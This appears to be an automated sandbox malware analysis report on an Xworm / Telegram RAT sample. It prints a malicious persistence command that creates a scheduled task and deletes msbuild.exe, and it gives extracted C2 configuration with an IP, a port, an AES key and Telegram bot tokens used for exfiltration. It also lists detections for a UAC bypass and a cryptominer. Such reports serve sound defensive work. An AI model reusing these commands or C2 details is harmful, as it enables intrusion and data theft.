Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe", CommandLine: "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ParentProcessId: 3260, ParentProcessName: MSBuild.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe", ProcessId: 7020, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Avira: detected

Antivirus detection for URL or domain

Source: 104.194.9.116

Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1666528793.0000016E9AC91000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Xworm {"C2 url": ["104.194.9.116"], "Port": "7000", "Aes key": "<123456789>", "Install file": "USB.exe", "Telegram URL": "https://api.telegram.org/bot6330888131:AAE5ycZdHuNqV5SVYhHeCfRENn6GuCjwXjs/sendMessage?chat_id=1046049845"}
Source: spczxf.exe.2908.8.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6389892231:AAEdDUVYYFJmNDGihmXB4rLw0iSrrh-e2fE/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	ReversingLabs: Detection: 35%
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Virustotal: Detection: 48%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Virustotal: Detection: 50%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	ReversingLabs: Detection: 40%
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Virustotal: Detection: 47%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Virustotal: Detection: 31%	Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	ReversingLabs: Detection: 44%
Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Virustotal: Detection: 48%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack	String decryptor: 104.194.9.116
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack	String decryptor: 7000
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack	String decryptor: <123456789>
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack	String decryptor: <Xwormmm>
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack	String decryptor: pdr326
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack	String decryptor: USB.exe
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack	String decryptor: 6330888131:AAE5ycZdHuNqV5SVYhHeCfRENn6GuCjwXjs
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack	String decryptor: 1046049845

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe

Code function: 16_2_00007FF7FE544C1C CryptReleaseContext,

16_2_00007FF7FE544C1C

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000008.00000002.1736044836.000001A4B2722000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1666528793.0000016E9B268000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2341667196.00000292640E2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1666528793.0000016E9AD6A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2447043666.000001BC90222000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2223610242.000001B044693000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spczxf.exe PID: 2908, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ohvrxt.exe PID: 1384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hgzxhw.exe PID: 3660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: utntwb.exe PID: 5788, type: MEMORYSTR

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 0000001B.00000002.2296563820.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3260, type: MEMORYSTR

Source: unknown

HTTPS traffic detected: 104.98.116.138:443 -> 192.168.2.7:49725 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49732 version: TLS 1.2

Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Drawing.Design.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Data.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Diagnostics.Tracing.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xaml.pdb:\W@ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Services.Design.pdb( source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DataVisualization.Design.pdb(~ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Net.Http.WebRequest.pdbh- source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Messaging.pdb( source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Numerics.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.WorkflowServices.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.WindowsRuntime.pdb( source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DynamicData.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: msbuild.exe, 00000025.00000000.2320139777.0000000000062000.00000002.00000001.01000000.00000013.sdmp, msbuild.exe.27.dr
Source:	Binary string: mscorlib.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.ServiceProcess.pdbP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: XsdBuildTask.pdb8 source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Device.pdb$ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.ServiceProcess.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Web.ApplicationServices.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: XsdBuildTask.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: HFayo.pdb source: WER2A76.tmp.dmp.6.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: sysglobl.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.pdb` source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.RegularExpressions.pdbMZ@ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: NGenTaskLauncher.pdbSystem.Runtime.Serialization.Formatters.dllSystem.Runtime.CompilerServices.VisualC.dllSystem.Diagnostics.TextWriterTraceListener.dll source: WER696F.tmp.dmp.30.dr
Source:	Binary string: CustomMarshalers.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.IO.Compression.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Activities.Build.pdbSystem.Net.WebSockets.Client.dll source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.pdbH source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.DurableInstancing.pdb:\W source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: 0C:\Windows\HFayo.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualC.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Activities.DurableInstancing.pdbp source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Workflow.ComponentModel.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.Activation.pdb source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: mscorlib.pdb source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp, WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: ISymWrapper.pdb$XPAxq source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.Linq.pdb` source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.AddIn.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.ServiceModel.Discovery.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.Internals.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Web.Services.pdbMZ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Data.Entity.Design.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Runtime.WindowsRuntime.pdbSystem.Collections.Specialized.dll source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Numerics.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Entity.Design.pdbP source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.ServiceModel.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Accessibility.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Accessibility.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Windows\Containers\Confidential\DotnetGenerator\Stub\Projects\HFayo\obj\Release\HFayo.pdb( source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.DirectoryServices.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.pdbMZ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Net.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Caching.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DataVisualization.pdb` source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Data.Entity.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Numerics.Vectors.pdbp^ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Security.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DataVisualization.pdbY source: WER696F.tmp.dmp.30.dr
Source:	Binary string: \??\C:\Users\user\Desktop\HFayo.pdbb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.IdentityModel.Services.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Windows\Containers\Confidential\DotnetGenerator\Stub\Projects\HFayo\obj\Release\HFayo.pdbH source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Build.Conversion.v4.0.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdb6 source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665839826.0000016E99246000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ServiceProcess.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Configuration.Install.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Services.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Design.pdbP source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Xml.Serialization.pdbJ> source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Xaml.Hosting.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Drawing.Design.pdbH source: WER95BE.tmp.dmp.46.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Users\user\Desktop\HFayo.pdbL source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.Linq.pdbpH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.WorkflowServices.pdbh source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Linq.pdbP< source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.IO.Compression.FileSystem.pdbSystem.WorkflowServices.dllSystem.WorkflowServices.dllSystem.ServiceModel.Web.dllSystem.ServiceModel.NetTcp.dllSystem.ServiceModel.Web.dllp source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Deployment.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Data.Services.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb>sFm source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD870000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Web.Extensions.pdbMZ@ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.IdentityModel.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Activities.Presentation.pdbXK source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.WorkflowServices.pdbp source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Messaging.pdbh source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Data.SqlXml.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Core.pdbbb source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Xml.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdbe source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665839826.0000016E99254000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: symbols\exe\HFayo.pdbVi.pdbpdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Data.SqlXml.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Windows.Forms.pdb[' source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Management.pdbH source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: NGenTaskLauncher.pdb source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Users.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdbT source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.AddIn.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbv10.03P source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Web.pdbp source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.VisualBasic.Compatibility.Data.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: SMDiagnostics.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Entity.Design.pdbP.d source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.ServiceModel.WasHosting.pdbP source: WER95BE.tmp.dmp.46.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Web.DynamicData.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.WindowsRuntime.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdbn source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Diagnostics.Tracing.pdbP source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.Windows.ApplicationServer.Applications.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Internal.Tasks.Dataflow.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Internal.Tasks.Dataflow.pdbSystem.Messaging.dllSystem.Data.Linq.dllSystem.Data.SqlXml.dllSystem.Deployment.dllH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Web.pdbH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Workflow.ComponentModel.pdb8N source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Workflow.Runtime.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: NGenTaskLauncher.pdbP source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Numerics.pdbMicrosoft.Data.Entity.Build.Tasks.dllSystem.Runtime.InteropServices.RuntimeInformation.dllSystem.Runtime.InteropServices.RuntimeInformation.dllH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp, spczxf.exe, 00000008.00000002.1740777553.000001A4CD870000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Data.Linq.pdb0 source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.Transactions.Bridge.Dtc.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Management.Instrumentation.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Services.Client.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Web.Extensions.Design.pdbP source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Xaml.Hosting.pdb_L source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.DataSetExtensions.pdbSystem.Threading.Tasks.Parallel.dll source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.ComponentModel.Composition.Registration.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\HFayo.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.CSharp.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Build.Utilities.v4.0.pdbP source: WER696F.tmp.dmp.30.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.IdentityModel.Selectors.pdbSystem.Text.Encoding.dll source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Runtime.WindowsRuntime.UI.Xaml.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.pdbSystem.Messaging.dllSystem.Data.SqlXml.dllMZ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: Microsoft.CSharp.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Configuration.Install.pdb` source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Activities.Build.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: spczxf.PDB source: spczxf.exe, 00000008.00000002.1734269034.00000098BFCF3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Microsoft.JScript.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Windows.Forms.DataVisualization.Design.pdbH source: WER95BE.tmp.dmp.46.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ComponentModel.Composition.pdbSystem.Diagnostics.Contracts.dll source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualBasic.Activities.Compiler.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Routing.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Configuration.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Web.Services.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Data.Entity.Build.Tasks.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Accessibility.pdbSystem.Windows.Forms.DataVisualization.Design.dllP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Abstractions.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: sysglobl.pdbMZ@ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.IdentityModel.Services.pdbMicrosoft.VisualBasic.Compatibility.Data.dllMicrosoft.VisualBasic.Activities.Compiler.dllMicrosoft.VisualBasic.Activities.Compiler.dllMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.IdentityModel.Selectors.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: BpC:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.PDB source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
